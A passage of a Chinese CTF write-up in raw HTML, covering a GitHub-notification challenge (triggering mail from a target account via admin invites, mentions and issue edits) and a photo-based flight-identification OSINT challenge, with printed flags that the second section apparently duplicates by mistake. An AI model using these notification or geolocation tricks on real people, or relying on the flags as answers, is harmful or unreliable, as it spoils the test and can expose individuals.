rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030419" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=00c435bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU00VA56UXuCRvuhZPFmXJ7HibbnqGF4ekYzuSmTo1Ta8LaLQt1eeFB5NQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">同时也要去把Watch设置上，能同步收到邮件</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.623989218328841" data-type="png" data-w="742" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030420" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=34ad498c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU07sw2wiaQTJXjgcSxDyX73WXe1Uvic0o0ibWpomlTILpHltcG9p9TPK5uQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">提交Issue后，邮箱收到了Issue邮件，X-GitHub-Sender为tynqf4hn8z-byte</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.2331288343558282" data-type="png" data-w="489" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030418" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=5103d139&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU08iaAicI8ibIRqTJlXCU1CP8peLV545p5lb5hib3DEVpD68IRcuyLG14MrQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">虽然lilacctf-tech也是Watching这个项目，但是题目同时说了，通过nc触发的那封不算</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Issue也是可以通过mentioned去触发，但是直接进行@lilacctf-tech，没有反应，那尝试添加为项目管理员（或者项目其他角色）后呢？这里试了试管理员</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.13568376068376067" data-type="png" data-w="936" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030417" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=63579e91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0rDWia31KYibIic8tYEsn1UnDJHyRnFnRaEwtEKsVhFlwL4V1hHrHdtddg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">确实能进行@lilacctf-tech</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.26296296296296295" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030424" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=47b04857&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0OlPDuico0oOvk2lRgkD7C7KQYEgZETxZ1y65oR68EcliaVtlAK2AvnWg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">同时发现这里的Issue我也是可以进行编辑，编辑了@lilacctf-tech和我自己，提交后就收到了邮件，同时这个头也是tynqf4hn8z-byte</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.3138888888888889" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030425" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=0a492777&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0iaXA0vHqJt1hRo0dHIPGkxo6Kpcicxu3f6KSHxdYs4kL7velMkvHCNFw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.2549800796812749" data-type="png" data-w="502" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030423" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=dc487f41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0V76uR80qV42xibeo9bdhMqOlvXV8a13iacEVCNlHJU4KOxsvbfbgic3pg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">然后就得到Flag了</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5348837209302325" data-type="png" data-w="344" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030426" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=9505033e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0ibnY2uDu9Jvc80XX0qEayu9yRd068AuuxHSoZstUw4nhsggJ0vqxdhA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><table><tbody><tr><td><p style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Plain Text</span><span leaf=""><br/></span><span leaf="">LilacCTF{D1sCov3r_Mor3_G17hU8_f347ur32}</span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Sky Is Ours</span></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.7286585365853658" data-type="png" data-w="984" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030427" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=e876263d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0cDVXSxLuaQql7EX7QIc7AzBQ3dQBckApbcpscnA9Wseib3HbCE3IHxw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">感觉和这个飞机好像，青岛航空。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">青岛航空有 A320 ,A320 neo ,A321。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">下面是题目：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="1.776851851851852" data-type="jpeg" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030431" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=382d87bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0l4zsw6oKZWfl1Rl6kdicuoic3jw1hOWCxnwhDn6bmN9gsXoicmIJIqTYg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">没认出来这是哪里</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">下面是大连，应该是经过，向南飞的航班，然后去flightradar24查看青岛航空从东北出发的航线</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">排查哈尔滨的航线时，有时间比较接近的，看看YNT和WEH方向的，基本二选一了</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5231481481481481" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030430" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=5af34613&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0iayjz9uvn8DL9D73ic9N63h0OFiactsaaHY5zIbEHeaCdMtSSKqvxKl9Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.5722222222222222" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030432" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=c32f79bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU08t3vianiawesL7W53lFzUwuIUpsCVibouvmSeWmJKlhbianTUXqXCNWhVw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.587037037037037" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030429" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=d4a28d08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0guVX3jA8XMlM88FFoxL0w5VFHbvloDnpvq72FzrWKCKoTD9IibJcnicw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">还是QW6097经过DLC时比较近</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">LilacCTF{D1sCov3r_Mor3_G17hU8_f347ur32}</span></code></pre></div><div data-role="outer" label="Powered by 135editor.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;caret-color: rgb(34, 34, 34);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);" data-pm-slice="0 0 []"><div data-role="paragraph" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, 